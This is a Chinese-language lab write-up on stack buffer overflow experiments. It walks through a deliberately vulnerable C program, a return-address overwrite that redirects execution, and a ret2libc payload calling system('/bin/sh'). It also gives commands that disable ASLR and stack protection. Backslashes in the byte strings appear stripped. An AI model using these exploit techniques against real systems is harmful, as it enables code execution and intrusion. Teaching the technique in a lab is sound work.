缓冲区溢出实验
实验环境
系统环境:
Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-176-generic x86_64)
其他环境:
gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.12)
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
栈缓冲区溢出
- 原理
漏洞代码:
#include <stdio.h>
#include <string.h>
char buffer[] = "01234567890123456789========ABCD";
void foo1(){printf("You are attacked!n");}
void foo()
{
char buff[16];
strcpy (buff, buffer);
}
int main(int argc, char * argv[])
{
foo();
return 0;
}
可以很明显的看出漏洞在strcpy函数处:buffer数组的大小已经超过16个字节。
上图时程序运行时内存结构图,其中代码区存放c程序代码,静态数据区存放全局变量buffer数组,动态数据区存放临时变量,寄存器ebp指向栈底,寄存器esp指向栈顶,寄存器eip指向下一条需要执行的代码。
当程序运行到foo函数中的strcpy(buff, buffer)之前时,此时程序运行时内存结构如下图。
执行strcpy(buff, buffer)后,buffer数组中的数据会填充到buff中,但很明显buff开辟的16字节空间不够,那么剩余内容将会继续向上填充,如下图所示。
此时,当foo函数运行完,返回main函数时,发现之前保存的foo函数返回地址被修改了,此时栈顶寄存器esp的高16位为ABCD,esp将把ABCD传给eip,但ABCD为非法地址,程序报错。
- 运行结果
在打开数据执行保护机制下运行。
在关闭数据执行保护机制下运行,首先需要关闭ASLR。
echo 0 > /proc/sys/kernel/randomize_va_space
然后运行代码并打开gdb调试。
gcc -Wall -g -o h h.c -fno-stack-protector -m32 //-m32寄存器为32位
gdb h
在foo函数的ret处设置断点,查看此时esp值,值为0x44434241,转换为十进制为DCBA。
esp将值传给eip,eip跳转到下一条指令位置,但ABCD是非法地址,所以程序报错。
- 攻击结果
但是如果ABCD处的值是合法地址呢,此时将漏洞代码改成攻击代码。
#include <stdio.h>
#include <string.h>
char buffer[] = "01234567890123456789========x3bx84x04x08";
void foo1(){printf("You are attacked!n");}
void foo()
{
char buff[16];
strcpy (buff, buffer);
}
int main(int argc, char * argv[])
{
foo();
return 0;
}
首先通过gdb查看foo1函数首地址。
然后将刚才漏洞代码中ABCD位置改为foo1函数首地址。
运行结果如下图,我们可以发现输出You are attacked!即程序运行了foo1函数。
ret2libc——return to libc
libc中有大量的库函数,ret2libc通过找到libc中函数执行,而绕过了数据不可执行的问题。
攻击原理同上面栈缓冲区溢出相似,构造buffer数组,通过把函数返回地址直接指向系统库中的函数,这里以system("/bin/sh")为例,通过攻击代码打开一个bash。
攻击代码如下:
#include <stdio.h>
#include <string.h>
char buffer[] = "01234567890123456789========xa0xcdxe4xf7xd0x09xe4xf7xa0xd8xffxff";
void foo()
{
char buff[16];
strcpy (buff, buffer);
}
int main(int argc, char * argv[])
{
foo();
return 0;
}
在打开数据执行保护机制下运行。
在关闭数据执行保护机制下运行,首先需要关闭ASLR。
echo 0 > /proc/sys/kernel/randomize_va_space
然后运行代码并打开gdb调试。
gcc -Wall -g -o ret2lic ret2lic.c -fno-stack-protector -m32
gdb ret2lic
根据上一个实验,我们已经知道返回值是ABCD处,所以只要将system地址和/bin/sh地址覆盖ABCD就可以了。
- 先确定system和exit的地址。
2. 再查找/bin/sh地址,键入命令x/500s $esp,直至找到"SHELL=/bin/bash"地址并提取/bin/bash字符串地址。
3. 组合buffer数组。
填充字符 + system_addr + exit_addr + binsh_addr
char buffer[] = "01234567890123456789========xa0xcdxe4xf7xd0x09xe4xf7xa0xd8xffxff";
运行结果如下图。
成功打开一个bash。